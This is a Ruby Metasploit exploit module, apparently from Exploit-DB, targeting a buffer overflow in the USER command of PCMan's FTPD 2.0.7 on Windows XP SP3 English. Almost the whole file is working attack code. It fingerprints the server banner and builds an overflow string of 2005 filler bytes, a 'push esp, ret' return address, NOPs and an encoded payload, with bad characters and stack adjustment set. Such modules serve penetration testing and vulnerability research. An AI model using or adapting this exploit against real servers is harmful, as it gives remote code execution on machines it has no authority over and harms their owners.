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# Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMan\'s FTPD V2.0.7 Username Overflow', 'Description'=> %q{ This module exploits a buffer overflow found in the USER command of PCMan's FTPD. }, 'Author' => 'MSJ <matt.jones.85[at]gmail.com>', 'License'=> MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload'=> { 'Space'=> 2005, 'BadChars' => "\x53\x93\x42\x7E", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ # Target 0 [ 'Windows XP SP3 English', { 'Ret'=> 0x7e429353 # push esp, ret } ] ], 'Default Target' => 0)) end def check connect disconnect if (banner =~ /220 PCMan\'s FTP Server 2\.0 Ready\./) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") sploit = 'USER ' + "\x41" * 2005 + [target.ret].pack('V') + make_nops(16) + payload.encoded send_cmd( [sploit] , false ) handler disconnect end end |